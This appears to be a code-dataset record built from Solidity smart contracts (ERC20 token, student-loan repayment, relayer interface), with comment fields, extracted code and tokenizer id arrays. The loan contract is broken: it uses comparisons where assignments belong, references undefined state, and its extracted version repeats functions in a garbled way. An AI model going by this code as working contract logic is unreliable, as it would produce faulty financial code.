* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: amount exceeds a."));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased a. below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20:t. from zero address");
require(recipient != address(0), "ERC20:t. to zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20:a. from zero address");
require(spender != address(0), "ERC20:a. to zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/DHN.sol
pragma solidity ^0.8.10;
contract DHN is ERC20() {
/**
* @param wallet Address of the wallet, where tokens will be transferred to
*/
constructor(address wallet) {
require(wallet != address(0),'Can not be zero address');
_mint(wallet, 372000000 ether);
}
}
|
* @dev See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`./
|
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: amount exceeds a."));
return true;
}
| 15,390,419 |
[
1,
9704,
288,
45,
654,
39,
3462,
17,
13866,
1265,
5496,
7377,
1282,
392,
288,
23461,
97,
871,
11193,
326,
3526,
1699,
1359,
18,
1220,
353,
486,
1931,
635,
326,
512,
2579,
18,
2164,
326,
4721,
622,
326,
8435,
434,
288,
654,
39,
3462,
5496,
29076,
30,
300,
1375,
15330,
68,
471,
1375,
20367,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
15330,
68,
1297,
1240,
279,
11013,
434,
622,
4520,
1375,
8949,
8338,
300,
326,
4894,
1297,
1240,
1699,
1359,
364,
12176,
15330,
10335,
11,
87,
2430,
434,
622,
4520,
1375,
8949,
8338,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7412,
1265,
12,
2867,
5793,
16,
1758,
8027,
16,
2254,
5034,
3844,
13,
1071,
5024,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
389,
13866,
12,
15330,
16,
8027,
16,
3844,
1769,
203,
3639,
389,
12908,
537,
12,
15330,
16,
389,
3576,
12021,
9334,
389,
5965,
6872,
63,
15330,
6362,
67,
3576,
12021,
1435,
8009,
1717,
12,
8949,
16,
315,
654,
39,
3462,
30,
3844,
14399,
279,
1199,
10019,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*Author: Nyasha C */
//test2
/*
pragma solidity ^0.5.0;
/* This contract stores the following:
Details of all applicants
Loan approval status of loans
Loan terms
SPV which each loan belongs to
And facilitates the following:
Track balances
Assign repayments and amend balance accordingly
Check if the loan has been settled - if so change ownership of the token */
/* This is the constructor which will deploy the contract on the blockchain */
/*struct data type to store the loan details */
contract LoanRepayments {
function studentLoan (){
loanApplicant = msg.sender;
loan.status = STATUS_INITIATED;
balances[msg.sender]=150000; /* just a test case */
}
struct TheLoan{
uint addressOfLoan;
uint LoanAmount;
address owner; /*The students */
}
/* struct datatype to store the loan terms */
struct LoanTerms{
uint term;
uint interest;
uint gracePeriod; /* Will be used to create data from which repayments are expected - dates can be in a separate contract */
uint loanAmount;
// string Tranche; /* possible values: "KhanyeziSenior","KhanyeziMezzanine",""KhanyeziEquity"" */
}
/* struct datatype to store the monthly payment structure */
struct MonthlyPayment{
uint instalment;
uint admin_fee; /* to account for gas costs*/
}
/* The parties involved */
struct Parties{
address studentfunded;
address loanfinancer; /* Just the bond now*/
}
/* Keep a running balance */
struct Tracker{
uint PaymentsToDate;
uint ArrearsStatus;
uint AmountOverDue;
uint AmountOverPaid;
uint LastPayment;
uint NextPaymentDue;
uint FirstPaymentDate;
uint NextPaymentDate;
}
/* struct datatype to store the details of the loan contract */
struct Loan{
LoanTerms loanterms;
TheLoan theloan;
MonthlyPayment monthlypayment;
Parties parties;
Tracker tracker;
int status;
}
LoanTerms loanterms;
TheLoan theloan;
MonthlyPayment monthlypayment;
Parties parties;
/*Maps the assosciated financer & student address to their balances */
mapping ( address => uint256) public balances;
/* Only the parties involved may call this function i.e. the student and the investor*/
modifier partiesOnly {
if(msg.sender != loan.parties.studentfunded) { /* check if there is an or statement which can be used here */
throw;
}
}
/* repayment function */
/* Tracking and transferring repayments */
/* Returns the outstanding balance after payment was made*/
/* Calculates next payment due and the date */
/* Keeps track of payment shortfalls and underpayments*/
function repayment(address receiver, uint amount) returns(uint256){
balances[msg.sender] -= amount; /*reduce students outstanding balance by amount paid */
//balances[receiver] += amount; /*increase balance of the investor by this amount* */
if (amount < loan.tracker.NextPaymentDue) { /* if there is a shortfall on the repayment */
loan.tracker.ArrearsStatus += 1;
}
loan.tracker.LastPayment == amount; /* Keep track of most recent repayment amount */
/* How much is due next month */
if (balances[msg.sender] < loan.monthlypayment){ /* if the balance remaining is less than the repayment amount */
loan.tracker.NextPaymentDue == balances[msg.sender];
} else if (loan.tracker.ArrearsStatus == 0){ /* If no arrears just the contractual amount is due */
loan.tracker.NextPaymentDue == loan.monthlypayment;
} else { /* The are in arrears */
loan.tracker.NextPaymentDue == (loan.monthlypayment - amount) + loan.monthlypayment; /* interest on arrears should be added*/
}
}
checkLoanPayoff() /* Check if this payment has settled the loan */
return balances[receiver];
}
// Check if the loan payment is complete,
// If complete release the token to the student
function checkLoanPayoff() {
if(balances[loan.parties.studentfunded])==0{
loan.TheLoan.owner = loan.parties.studentfunded;
/* At this point the relevant KhanyeziToken owner would be changed to the student? */
}
}
}
// Tracking of dates , and function to add loans into array still to be done
|
struct data type to store the loan details */
|
contract LoanRepayments {
pragma solidity ^0.5.0;
function studentLoan (){
loanApplicant = msg.sender;
loan.status = STATUS_INITIATED;
balances[msg.sender]=150000; /* just a test case */
}
struct TheLoan{
uint addressOfLoan;
uint LoanAmount;
address owner; /*The students */
}
struct LoanTerms{
uint term;
uint interest;
uint gracePeriod; /* Will be used to create data from which repayments are expected - dates can be in a separate contract */
uint loanAmount;
}
struct MonthlyPayment{
uint instalment;
uint admin_fee; /* to account for gas costs*/
}
struct Parties{
address studentfunded;
address loanfinancer; /* Just the bond now*/
}
struct Tracker{
uint PaymentsToDate;
uint ArrearsStatus;
uint AmountOverDue;
uint AmountOverPaid;
uint LastPayment;
uint NextPaymentDue;
uint FirstPaymentDate;
uint NextPaymentDate;
}
struct Loan{
LoanTerms loanterms;
TheLoan theloan;
MonthlyPayment monthlypayment;
Parties parties;
Tracker tracker;
int status;
}
LoanTerms loanterms;
TheLoan theloan;
MonthlyPayment monthlypayment;
Parties parties;
mapping ( address => uint256) public balances;
modifier partiesOnly {
if(msg.sender != loan.parties.studentfunded) { /* check if there is an or statement which can be used here */
throw;
}
}
modifier partiesOnly {
if(msg.sender != loan.parties.studentfunded) { /* check if there is an or statement which can be used here */
throw;
}
}
function repayment(address receiver, uint amount) returns(uint256){
balances[msg.sender] -= amount; /*reduce students outstanding balance by amount paid */
if (amount < loan.tracker.NextPaymentDue) { /* if there is a shortfall on the repayment */
loan.tracker.ArrearsStatus += 1;
}
loan.tracker.LastPayment == amount; /* Keep track of most recent repayment amount */
if (balances[msg.sender] < loan.monthlypayment){ /* if the balance remaining is less than the repayment amount */
loan.tracker.NextPaymentDue == balances[msg.sender];
loan.tracker.NextPaymentDue == loan.monthlypayment;
loan.tracker.NextPaymentDue == (loan.monthlypayment - amount) + loan.monthlypayment; /* interest on arrears should be added*/
}
}
checkLoanPayoff() /* Check if this payment has settled the loan */
return balances[receiver];
function repayment(address receiver, uint amount) returns(uint256){
balances[msg.sender] -= amount; /*reduce students outstanding balance by amount paid */
if (amount < loan.tracker.NextPaymentDue) { /* if there is a shortfall on the repayment */
loan.tracker.ArrearsStatus += 1;
}
loan.tracker.LastPayment == amount; /* Keep track of most recent repayment amount */
if (balances[msg.sender] < loan.monthlypayment){ /* if the balance remaining is less than the repayment amount */
loan.tracker.NextPaymentDue == balances[msg.sender];
loan.tracker.NextPaymentDue == loan.monthlypayment;
loan.tracker.NextPaymentDue == (loan.monthlypayment - amount) + loan.monthlypayment; /* interest on arrears should be added*/
}
}
checkLoanPayoff() /* Check if this payment has settled the loan */
return balances[receiver];
function repayment(address receiver, uint amount) returns(uint256){
balances[msg.sender] -= amount; /*reduce students outstanding balance by amount paid */
if (amount < loan.tracker.NextPaymentDue) { /* if there is a shortfall on the repayment */
loan.tracker.ArrearsStatus += 1;
}
loan.tracker.LastPayment == amount; /* Keep track of most recent repayment amount */
if (balances[msg.sender] < loan.monthlypayment){ /* if the balance remaining is less than the repayment amount */
loan.tracker.NextPaymentDue == balances[msg.sender];
loan.tracker.NextPaymentDue == loan.monthlypayment;
loan.tracker.NextPaymentDue == (loan.monthlypayment - amount) + loan.monthlypayment; /* interest on arrears should be added*/
}
}
checkLoanPayoff() /* Check if this payment has settled the loan */
return balances[receiver];
} else if (loan.tracker.ArrearsStatus == 0){ /* If no arrears just the contractual amount is due */
} else { /* The are in arrears */
}
| 7,314,805 |
[
1,
1697,
501,
618,
358,
1707,
326,
28183,
3189,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
3176,
304,
426,
10239,
1346,
288,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
25,
18,
20,
31,
203,
203,
203,
915,
18110,
1504,
304,
1832,
95,
203,
565,
28183,
1294,
1780,
970,
273,
1234,
18,
15330,
31,
203,
565,
28183,
18,
2327,
273,
7136,
67,
12919,
45,
6344,
31,
203,
565,
324,
26488,
63,
3576,
18,
15330,
65,
33,
3600,
2787,
31,
1748,
2537,
279,
1842,
648,
1195,
203,
97,
203,
203,
565,
1958,
1021,
1504,
304,
95,
203,
3639,
2254,
1758,
951,
1504,
304,
31,
203,
3639,
2254,
3176,
304,
6275,
31,
203,
3639,
1758,
3410,
31,
1748,
1986,
10068,
4877,
1195,
203,
565,
289,
203,
203,
565,
1958,
3176,
304,
11673,
95,
203,
3639,
2254,
2481,
31,
203,
3639,
2254,
16513,
31,
203,
3639,
2254,
13658,
5027,
31,
1748,
9980,
506,
1399,
358,
752,
501,
628,
1492,
2071,
528,
1346,
854,
2665,
300,
7811,
848,
506,
316,
279,
9004,
6835,
1195,
203,
3639,
2254,
28183,
6275,
31,
203,
203,
203,
97,
203,
565,
1958,
10337,
715,
6032,
95,
203,
3639,
2254,
1804,
287,
475,
31,
203,
3639,
2254,
3981,
67,
21386,
31,
1748,
358,
2236,
364,
16189,
22793,
5549,
203,
203,
565,
289,
203,
203,
565,
1958,
6393,
606,
95,
203,
3639,
1758,
18110,
12125,
785,
31,
203,
3639,
1758,
28183,
926,
304,
2750,
31,
1748,
12526,
326,
8427,
2037,
5549,
203,
565,
289,
203,
565,
1958,
11065,
264,
95,
203,
3639,
2254,
13838,
1346,
31264,
31,
203,
3639,
2254,
1201,
266,
5913,
1482,
31,
203,
3639,
2254,
2
] |
./partial_match/42/0x2097364Ba2ec75bcE70Ef498B476Bb40A167057F/sources/assignmentToken.sol
|
TODO: transfer `_value` tokens from `_from` to `_to` NOTE: `_from` needs to have enough tokens and to have allowed sender to spend on his behalf NOTE: transfer value needs to be sufficient to cover fee
|
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(balances[_from] >= _value);
require(_value >= fee);
require(allowances[_from][msg.sender] >= _value);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);
balances[minter] = balances[minter].add(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value.sub(fee));
emit Transfer(_from,_to,_value);
return true;
}
| 8,870,739 |
[
1,
6241,
30,
7412,
1375,
67,
1132,
68,
2430,
628,
1375,
67,
2080,
68,
358,
1375,
67,
869,
68,
5219,
30,
1375,
67,
2080,
68,
4260,
358,
1240,
7304,
2430,
471,
358,
1240,
2935,
5793,
358,
17571,
603,
18423,
12433,
6186,
5219,
30,
7412,
460,
4260,
358,
506,
18662,
358,
5590,
14036,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7412,
1265,
12,
203,
3639,
1758,
389,
2080,
16,
203,
3639,
1758,
389,
869,
16,
203,
3639,
2254,
5034,
389,
1132,
203,
565,
262,
1071,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
12,
70,
26488,
63,
67,
2080,
65,
1545,
389,
1132,
1769,
203,
3639,
2583,
24899,
1132,
1545,
14036,
1769,
203,
3639,
2583,
12,
5965,
6872,
63,
67,
2080,
6362,
3576,
18,
15330,
65,
1545,
389,
1132,
1769,
203,
203,
3639,
1699,
6872,
63,
67,
2080,
6362,
3576,
18,
15330,
65,
273,
1699,
6872,
63,
67,
2080,
6362,
3576,
18,
15330,
8009,
1717,
24899,
1132,
1769,
203,
3639,
324,
26488,
63,
1154,
387,
65,
273,
324,
26488,
63,
1154,
387,
8009,
1289,
12,
21386,
1769,
203,
3639,
324,
26488,
63,
67,
2080,
65,
273,
324,
26488,
63,
67,
2080,
8009,
1717,
24899,
1132,
1769,
203,
3639,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
1132,
18,
1717,
12,
21386,
10019,
203,
3639,
3626,
12279,
24899,
2080,
16,
67,
869,
16,
67,
1132,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x00337a31aEE3Ed37f5D5FBF892031d0090Da2EeF/sources/contracts/interfaces/relayer/IWormholeRelayerTyped.sol
|
* @title IWormholeRelayerSend @notice The interface to request deliveries/
|
interface IWormholeRelayerSend is IWormholeRelayerBase {
function sendPayloadToEvm(
uint16 targetChain,
address targetAddress,
bytes memory payload,
TargetNative receiverValue,
Gas gasLimit
) external payable returns (uint64 sequence);
function sendPayloadToEvm(
uint16 targetChain,
address targetAddress,
bytes memory payload,
TargetNative receiverValue,
Gas gasLimit,
uint16 refundChain,
address refundAddress
) external payable returns (uint64 sequence);
function sendVaasToEvm(
uint16 targetChain,
address targetAddress,
bytes memory payload,
TargetNative receiverValue,
Gas gasLimit,
VaaKey[] memory vaaKeys
) external payable returns (uint64 sequence);
function sendVaasToEvm(
uint16 targetChain,
address targetAddress,
bytes memory payload,
TargetNative receiverValue,
Gas gasLimit,
VaaKey[] memory vaaKeys,
uint16 refundChain,
address refundAddress
) external payable returns (uint64 sequence);
function sendToEvm(
uint16 targetChain,
address targetAddress,
bytes memory payload,
TargetNative receiverValue,
LocalNative paymentForExtraReceiverValue,
Gas gasLimit,
uint16 refundChain,
address refundAddress,
address deliveryProviderAddress,
VaaKey[] memory vaaKeys,
uint8 consistencyLevel
) external payable returns (uint64 sequence);
function send(
uint16 targetChain,
bytes32 targetAddress,
bytes memory payload,
TargetNative receiverValue,
LocalNative paymentForExtraReceiverValue,
bytes memory encodedExecutionParameters,
uint16 refundChain,
bytes32 refundAddress,
address deliveryProviderAddress,
VaaKey[] memory vaaKeys,
uint8 consistencyLevel
) external payable returns (uint64 sequence);
function forwardPayloadToEvm(
uint16 targetChain,
address targetAddress,
bytes memory payload,
TargetNative receiverValue,
Gas gasLimit
) external payable;
function forwardVaasToEvm(
uint16 targetChain,
address targetAddress,
bytes memory payload,
TargetNative receiverValue,
Gas gasLimit,
VaaKey[] memory vaaKeys
) external payable;
function forwardToEvm(
uint16 targetChain,
address targetAddress,
bytes memory payload,
TargetNative receiverValue,
LocalNative paymentForExtraReceiverValue,
Gas gasLimit,
uint16 refundChain,
address refundAddress,
address deliveryProviderAddress,
VaaKey[] memory vaaKeys,
uint8 consistencyLevel
) external payable;
function forward(
uint16 targetChain,
bytes32 targetAddress,
bytes memory payload,
TargetNative receiverValue,
LocalNative paymentForExtraReceiverValue,
bytes memory encodedExecutionParameters,
uint16 refundChain,
bytes32 refundAddress,
address deliveryProviderAddress,
VaaKey[] memory vaaKeys,
uint8 consistencyLevel
) external payable;
function resendToEvm(
VaaKey memory deliveryVaaKey,
uint16 targetChain,
TargetNative newReceiverValue,
Gas newGasLimit,
address newDeliveryProviderAddress
) external payable returns (uint64 sequence);
function resend(
VaaKey memory deliveryVaaKey,
uint16 targetChain,
TargetNative newReceiverValue,
bytes memory newEncodedExecutionParameters,
address newDeliveryProviderAddress
) external payable returns (uint64 sequence);
function quoteEVMDeliveryPrice(
uint16 targetChain,
TargetNative receiverValue,
Gas gasLimit
) external view returns (LocalNative nativePriceQuote, GasPrice targetChainRefundPerGasUnused);
function quoteEVMDeliveryPrice(
uint16 targetChain,
TargetNative receiverValue,
Gas gasLimit,
address deliveryProviderAddress
) external view returns (LocalNative nativePriceQuote, GasPrice targetChainRefundPerGasUnused);
function quoteDeliveryPrice(
uint16 targetChain,
TargetNative receiverValue,
bytes memory encodedExecutionParameters,
address deliveryProviderAddress
) external view returns (LocalNative nativePriceQuote, bytes memory encodedExecutionInfo);
function quoteNativeForChain(
uint16 targetChain,
LocalNative currentChainAmount,
address deliveryProviderAddress
) external view returns (TargetNative targetChainAmount);
function getDefaultDeliveryProvider() external view returns (address deliveryProvider);
}
| 17,096,618 |
[
1,
45,
59,
535,
27167,
1971,
1773,
3826,
225,
1021,
1560,
358,
590,
11795,
606,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5831,
467,
59,
535,
27167,
1971,
1773,
3826,
353,
467,
59,
535,
27167,
1971,
1773,
2171,
288,
203,
203,
565,
445,
1366,
6110,
774,
41,
3489,
12,
203,
3639,
2254,
2313,
1018,
3893,
16,
203,
3639,
1758,
1018,
1887,
16,
203,
3639,
1731,
3778,
2385,
16,
203,
3639,
5916,
9220,
5971,
620,
16,
203,
3639,
31849,
16189,
3039,
203,
565,
262,
3903,
8843,
429,
1135,
261,
11890,
1105,
3102,
1769,
203,
203,
565,
445,
1366,
6110,
774,
41,
3489,
12,
203,
3639,
2254,
2313,
1018,
3893,
16,
